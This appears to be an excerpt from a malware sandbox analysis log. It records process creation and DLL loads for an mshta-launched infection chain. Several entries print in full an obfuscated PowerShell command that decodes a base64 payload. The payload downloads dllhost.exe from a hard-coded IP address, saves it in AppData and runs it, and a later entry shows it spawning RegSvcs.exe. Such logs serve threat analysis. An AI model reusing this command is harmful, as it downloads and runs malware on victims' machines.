Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ngxpd0hb\ngxpd0hb.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4348.tmp" "c:\Users\user\AppData\Local\Temp\ngxpd0hb\CSCA3EB236CC00F4C599499BBB2E0A3996.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\dllhost.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tnesdt30\tnesdt30.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES866F.tmp" "c:\Users\user\AppData\Local\Temp\tnesdt30\CSC4AC68FDA20F44DF3BBC22D1FFF1AFB9.TMP"
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\dllhost.exe"

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Section loaded: dwmapi.dll

Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
